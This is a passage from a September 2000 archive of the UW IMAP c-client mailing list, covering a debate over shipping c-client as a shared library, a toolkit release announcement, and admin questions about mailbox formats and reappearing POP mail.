an incredible design blunder especially since every other UNIX variant gets it right. It should not matter how many imapd processes that you have running. The only time that a shared library would make a difference is when different programs use the same library. So, on a server system which runs imapd and ipop3d without shared libraries, the maximum number of instances of c-client in memory would be 2. Furthermore, it only really matters for long-lasting applications such as Pine and imapd. Since the imap-utils are ephemeral by nature, they may start up a little bit faster if there's a shared library, but a non-shared version is unlikely to cause a noticable difference in system memory use. > and it makes > for easier updates. In Debian the roxen-imap, imp, mod_php and pine > packages use the shared c-client as well as imapd, and ipop[23]d. So if a > fix appears in c-client, they all get updated in fell swoop. This is true; however as I noted above it's a double-edged sword. It's also possible to break multiple programs in one fell swoop. This is particularly true of the imap-utils. Some of these programs, most notably tmail, use internal mechanisms and are *very* sensitive to the version of c-client that they are built with. From pinedev@shivax2.cac.washington.edu Mon Sep 18 13:30:51 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Sep 2000 13:30:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA11746 for ; Mon, 18 Sep 2000 13:30:49 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA08028; Mon, 18 Sep 2000 13:30:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA10098; Mon, 18 Sep 2000 13:29:11 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA124408 for ; Mon, 18 Sep 2000 13:18:52 -0700 Received: from cancerous.braincells.com (root@braincells.com [165.254.18.21]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA00828 for ; Mon, 18 Sep 2000 13:18:49 -0700 Received: from cancerous.braincells.com (jaldhar@cancerous.braincells.com [165.254.18.21]) by cancerous.braincells.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA04861; Mon, 18 Sep 2000 17:20:20 -0400 Message-Id: Date: Mon, 18 Sep 2000 17:20:18 -0400 (EDT) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: patch for c-client as shared lib on Linux In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jaldhar@cancerous.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 18 Sep 2000, Mark Crispin wrote: > Thank you for your suggested patch for shared libraries. > > For support reasons, I have traditionally been hesitant to adopt shared > libraries. The first problem is having some systems built with shared > libraries and some systems without; if this is done, it should be > comprehensive for all systems which support shared libraries. > Unfortunately I don't currently have access to many platforms otherwise I would do this for you. I suspect it wouldn't be that hard especially for platforms that use gcc. > The second problem is much more serious. We have had in the past weird bugs > with shared libraries caused by a version skew. We have at time wasted many > hours chasing after a bug, only to find that without telling us the site made > c-client, pico, etc. a shared library and that the program was picking up the > wrong version of the shared library. > For us this isn't so much of a problem because our packages can have versioned dependencies. I.e I can say a package depends on libc-client4.5 only and the user would get an error if he didn't have the right version installed. (Actually if he were using our package management tool apt-get, it would offer to install the correct library package for him.) RPM. Solaris packages etc. work the same way. I can see it would be a problem for people people who do not have or use a decent package management system--if they aren't careful. But I suspect such people have developed their own schemes for keeping track of versions. If they haven't then its' not your fault if things break all over the place. > The API between c-client and its callers is subject to change; there has to be > an effective method to protect against version skews, which means versioning > in the shared library filename. It may sound extreme to have a separate libc- > client.so.2000.RC5, libc-client.so.2000.RC6, etc. but I don't see how it can > be safely avoided. I shudder to think about what might have to be done with > betas... > Isn't that what exactly what the soname is for? In fact I do have libc-client.so.4,7 and libc-client.so.2000 I don't see why that would be a problem except it takes up a little extra diskspace. If the API did change significantly wouldn't that cause even more problems for people who had c-client linked statically into their apps? > The bottom line is that although shared libraries are something that we > eventually do want to do, it's not something we want to get into yet. > > I am very concerned with the following statement which you have made: > > > The benefits of making c-client a shared lib are memory savings > > (particularly if you have many concurrent imapd processes) > > This statement implies that Linux does not share code pages between multiple > instances of the same application. I can not believe that this is true. The > guys who work on Linux are too smart to make such an incredible design blunder > especially since every other UNIX variant gets it right. > It does I misspoke. I do remember when I was benchmarking seeing some difference in memory usage. It may have been for some other reason. > It should not matter how many imapd processes that you have running. The only > time that a shared library would make a difference is when different programs > use the same library. So, on a server system which runs imapd and ipop3d > without shared libraries, the maximum number of instances of c-client in > memory would be 2. These aren't the only programs that use c-client nowadays. As the number of such programs go up, the advantage of having a shared lib will become greater. > > Furthermore, it only really matters for long-lasting applications such as Pine > and imapd. Since the imap-utils are ephemeral by nature, they may start up a > little bit faster if there's a shared library, but a non-shared version is > unlikely to cause a noticable difference in system memory use. > > > and it makes > > for easier updates. In Debian the roxen-imap, imp, mod_php and pine > > packages use the shared c-client as well as imapd, and ipop[23]d. So if a > > fix appears in c-client, they all get updated in fell swoop. > > This is true; however as I noted above it's a double-edged sword. It's also > possible to break multiple programs in one fell swoop. > But realistically how often do you completely break things? Far fewer (in fact I can't remember one) than when you make incremental changes/bug fixes etc. > This is particularly true of the imap-utils. Some of these programs, most > notably tmail, use internal mechanisms and are *very* sensitive to the version > of c-client that they are built with. > That's why I made a seperate build target. There's no reason why you couldn't mix and match static and dynamic linking as the situation demands it. Mark, it's your call whether to accept the patch or not. The Debian imap package will continue using it anyway. But I think it's something people would want to use. -- Jaldhar H. Vyas From pinedev@shivax2.cac.washington.edu Mon Sep 18 13:40:46 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Sep 2000 13:40:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA15158 for ; Mon, 18 Sep 2000 13:40:45 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA08357; Mon, 18 Sep 2000 13:40:43 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA08357; Mon, 18 Sep 2000 13:39:31 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA138858 for ; Mon, 18 Sep 2000 13:28:17 -0700 Received: from cancerous.braincells.com (root@braincells.com [165.254.18.21]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA05707 for ; Mon, 18 Sep 2000 13:28:15 -0700 Received: from cancerous.braincells.com (jaldhar@cancerous.braincells.com [165.254.18.21]) by cancerous.braincells.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA04914 for ; Mon, 18 Sep 2000 17:30:00 -0400 Message-Id: Date: Mon, 18 Sep 2000 17:29:58 -0400 (EDT) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: c-client@u.washington.edu Subject: maildir patch from David R. Harris In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jaldhar@cancerous.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN There is a third-party maildir driver most recently maintained by David R. Harris (drh@drh.net) However he doesn't seem to be responding at that address anymore. Does anyone know if he has a new address? Or if someone else is maintaining this driver now? I have a couple of questions about this driver, the most important being why does it not allow creating folders wbeginning with a dot? Just a convenience for the user (so he doesn't have to see all the dot-files in his home directory when listing mailboxes,) or is there a more technical reason? Any information gratefully accepted. -- Jaldhar H. Vyas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 18 13:56:08 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Sep 2000 13:56:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA09653 for ; Mon, 18 Sep 2000 13:56:06 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA29340; Mon, 18 Sep 2000 13:56:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA11893; Mon, 18 Sep 2000 13:54:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA70348 for ; Mon, 18 Sep 2000 13:53:34 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (dmt@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA11019 for ; Mon, 18 Sep 2000 13:53:32 -0700 Message-Id: Date: Mon, 18 Sep 2000 13:52:32 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Jaldhar H. Vyas" Cc: c-client@u.washington.edu Subject: re: patch for c-client as shared lib on Linux In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 18 Sep 2000 17:20:18 -0400 (EDT), Jaldhar H. Vyas wrote: > Mark, it's your call whether to accept the patch or not. The Debian imap > package will continue using it anyway. But I think it's something people > would want to use. There's no question that c-client will be supported as a shared library. The only question is "when", not "if". From pinedev@shivax2.cac.washington.edu Wed Sep 20 16:24:51 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Sep 2000 16:24:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA32406 for ; Wed, 20 Sep 2000 16:24:49 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA21264; Wed, 20 Sep 2000 16:24:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA28730; Wed, 20 Sep 2000 16:23:31 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA48732 for ; Wed, 20 Sep 2000 16:20:34 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA20109 for ; Wed, 20 Sep 2000 16:20:34 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (scott@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA08209; Wed, 20 Sep 2000 16:20:32 -0700 Message-Id: Date: Wed, 20 Sep 2000 16:20:22 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Cc: IMAP Interest List Subject: Announcing: UW IMAP toolkit 2000 Release Candidate 7 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN UW IMAP toolkit 2000 Release Candidate 7 is now on available on: ftp://ftp.cac.washington.edu/mail/imap.tar.Z There are a few minor bugfixes to this version from RC6. The most important of these is on UNIX systems without a /dev/urandom; the SSL-enabled version of c-client would leave behind an empty temporary file on /tmp or /var/tmp. There is one major new feature: references threading. In addition to orderedsubject threading (which has been there for some time), the UW IMAP toolkit now has true threading via References/In-Reply-To, using the algorithm in the IMAP THREAD Internet Draft and described by Jamie Zawinski in http://www.jwz.org/doc/threading.html . This is compatible with the references threading that was recently added to Cyrus imapd. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Sep 21 15:23:42 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Sep 2000 15:23:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA15411 for ; Thu, 21 Sep 2000 15:23:41 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA10309; Thu, 21 Sep 2000 15:23:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA07588; Thu, 21 Sep 2000 15:21:56 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA140076 for ; Thu, 21 Sep 2000 15:13:32 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA05709 for ; Thu, 21 Sep 2000 15:13:31 -0700 Received: from smtp2.andrew.cmu.edu (SMTP2.ANDREW.CMU.EDU [128.2.10.82]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA09953 for ; Thu, 21 Sep 2000 15:13:31 -0700 Received: from vicodin.weh.andrew.cmu.edu (VICODIN.WEH.ANDREW.CMU.EDU [128.2.111.240]) by smtp2.andrew.cmu.edu (8.9.3/8.9.3) with SMTP id SAA08855 for ; Thu, 21 Sep 2000 18:13:28 -0400 (EDT) Message-Id: Date: Thu, 21 Sep 2000 18:13:27 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hollis R Blanchard To: c-client@CAC.Washington.EDU Subject: Re: shared libraries MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: hollis+@vicodin.weh.andrew.cmu.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I realized I should have added encouragement for the library idea... as a developer using c-client, I have to insert c-client into my tarballs and build it as part of my build process. (My project is 22K w/o it, 2 MB w/ it.) I'd love to be able to just *use* c-client (and not have to build it), so I'm glad the library thing is being looked into. :) -Hollis From pinedev@shivax2.cac.washington.edu Mon Sep 25 15:39:17 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 25 Sep 2000 15:39:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA28893 for ; Mon, 25 Sep 2000 15:39:15 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA05986; Mon, 25 Sep 2000 15:39:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA24114; Mon, 25 Sep 2000 15:38:03 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA54808 for ; Mon, 25 Sep 2000 15:35:52 -0700 Received: from rad3.1stup.com (IDENT:root@rad3.1stup.com [209.143.242.34]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA00734 for ; Mon, 25 Sep 2000 15:35:51 -0700 Received: from home (A010-0412.NYCM.splitrock.net [209.255.50.158]) by rad3.1stup.com (8.10.1/8.9.3) with SMTP id e8PMZn508765 for ; Mon, 25 Sep 2000 15:35:49 -0700 Message-Id: <000f01c02740$204d4920$9e32ffd1@home> Date: Mon, 25 Sep 2000 18:29:51 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Leon" To: Subject: Proxy (socks 4, 5, HTTP) support MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Has anyone implemented the proxy (4, 5 or HTTP) support for imap cclient, so that it will be able to connect even if the user is behind a proxy server? If anyone did, could you please point me in the right direction. Thanx Leon ________________________________________________________ 1stUp.com - Free the Web Get your free Internet access at http://www.1stUp.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 27 12:20:20 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 27 Sep 2000 12:20:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA22494 for ; Wed, 27 Sep 2000 12:20:18 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA27009; Wed, 27 Sep 2000 12:20:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA26281; Wed, 27 Sep 2000 12:18:30 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA30802 for ; Wed, 27 Sep 2000 12:05:58 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA07365 for ; Wed, 27 Sep 2000 12:05:57 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA26332 for ; Wed, 27 Sep 2000 12:05:57 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.10.2/8.9.3) with ESMTP id e8RJ5ua15379 for ; Wed, 27 Sep 2000 12:05:56 -0700 Message-Id: Date: Wed, 27 Sep 2000 12:05:56 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client Interest List Subject: reappearing mail in POP (unix->mbx) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have converted the mail folders and inboxes on our Linux server from Unix to MBX format in an attempt to squeeze a bit more performance from it. (I'm not so sure it is better; more about that later) After some tinkering, I made a script to do this on the live system, along the lines of: for each user: - kill imapd, if any, for that user - move the spool file away - run mbxcvt on the moved spool - install a .procmailrc file to use dmail - if any mail arrived while converting: - convert the new spool to a temporary box - mbxcopy mail from the temporary box to INBOX - if everything worked, delete the moved spool If I didn't kill imapd and move the spool away, something (imapd under control of the users client, I guess) would duplicate all the mail onto the end of the new inbox. Anyhow, this procedure worked OK with local Pine (not that there are any local users), and IMAP users, who hopefully didn't notice. However, some POP users who have "leave mail on server" had all their "read" email reappear when they next connected. I have tried to understand what is happening with only limited success. When they retrieved it the last time, the Old and Read status flags got set, and were preserved by mbxcvt. However, their client (Netscape, Eudora..) doesn't seem to use this information, and thinks the mail is unread. The damage is done, and I don't suppose I will be doing this again, but I'd like to understand how this could have been avoided . Andrew Daviel, TRIUMF, Canada Tel. +1 (604) 222-7376 security@triumf.ca PGP ID 0xC7624B49 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 27 12:55:54 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 27 Sep 2000 12:55:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA16910 for ; Wed, 27 Sep 2000 12:55:53 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA28269; Wed, 27 Sep 2000 12:55:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA28477; Wed, 27 Sep 2000 12:53:49 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA55100 for ; Wed, 27 Sep 2000 12:52:58 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA05985 for ; Wed, 27 Sep 2000 12:52:57 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA13171 for ; Wed, 27 Sep 2000 12:52:57 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.10.2/8.9.3) with ESMTP id e8RJqqa20752 for ; Wed, 27 Sep 2000 12:52:52 -0700 Message-Id: Date: Wed, 27 Sep 2000 12:52:52 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client Interest List Subject: mailbox formats, system load etc. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We have a Linux server running the imap-4.7 imapd and popd, with about 600 users. About 100 have more than 1MB inbox, about 30 more than 10MB, 1 more than 100MB (histogram looks a bit like y=300M/x). Some users are using POP3, but most are using IMAP from Netscape which is what we have been recommending. We have been migrating people off VMS mail and POP servers on VMS and there's still a few left so things will get busier still, and of course more people are sending big attachments - 50MB or larger (legitimate) images. Most of our users are on 10bT or 100bT Ethernet and are always on, so they may have an imapd running for long periods of time - there are 96 at the moment. imapd for the heavy users seems to run about 5MB with 3MB resident (RSS) I'm looking for ways to improve the speed. The machine is a 350MHz Pentium II with 128Mb RAM and a SCSI RAID array. I have converted the folders to mbx format (according to Mark, "This is the current preferred mailbox format. It can be handled quite efficiently ..") thinking that it would allow faster message seeking etc., but I'm not so sure this is really the case. Persuading people to move mail to other folders would help, though if they have client-side filtering it can only take effect when they connect. We don't allow general access so server-side filtering is a problem. I guess more RAM or CPU might help, but I was wondering if anyone had any configuration hints. Andrew Daviel, TRIUMF, Canada Tel. +1 (604) 222-7376 security@triumf.ca PGP ID 0xC7624B49 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 27 22:52:36 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 27 Sep 2000 22:52:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA25695 for ; Wed, 27 Sep 2000 22:52:29 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA13584; Wed, 27 Sep 2000 22:52:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA24046; Wed, 27 Sep 2000 22:51:35 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA67718 for ; Wed, 27 Sep 2000 22:49:32 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA14394 for ; Wed, 27 Sep 2000 22:49:31 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (nightowl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA30637 for ; Wed, 27 Sep 2000 22:49:31 -0700 Message-Id: Date: Wed, 27 Sep 2000 22:46:45 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Daviel Cc: c-client Interest List Subject: re: reappearing mail in POP (unix->mbx) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Converting mailboxes from one format to another results in a new unique identifier epoch, and new unique identifiers assigned to each message. Since UIDs are the only way that POP clients can decide what is new mail, that's why your POP users saw the duplication. Modern versions of both Netscape and Eudora support IMAP, so these users should be encouraged to use IMAP instead of POP. From pinedev@shivax2.cac.washington.edu Thu Sep 28 10:40:34 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Sep 2000 10:40:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA29222 for ; Thu, 28 Sep 2000 10:40:33 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA30545; Thu, 28 Sep 2000 10:40:30 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA12461; Thu, 28 Sep 2000 10:39:23 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA90788 for ; Thu, 28 Sep 2000 10:37:50 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA26082 for ; Thu, 28 Sep 2000 10:37:48 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA30407 for ; Thu, 28 Sep 2000 10:37:48 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.10.2/8.9.3) with ESMTP id e8SHbha19800 for ; Thu, 28 Sep 2000 10:37:43 -0700 Message-Id: Date: Thu, 28 Sep 2000 10:37:43 -0700 (PDT) 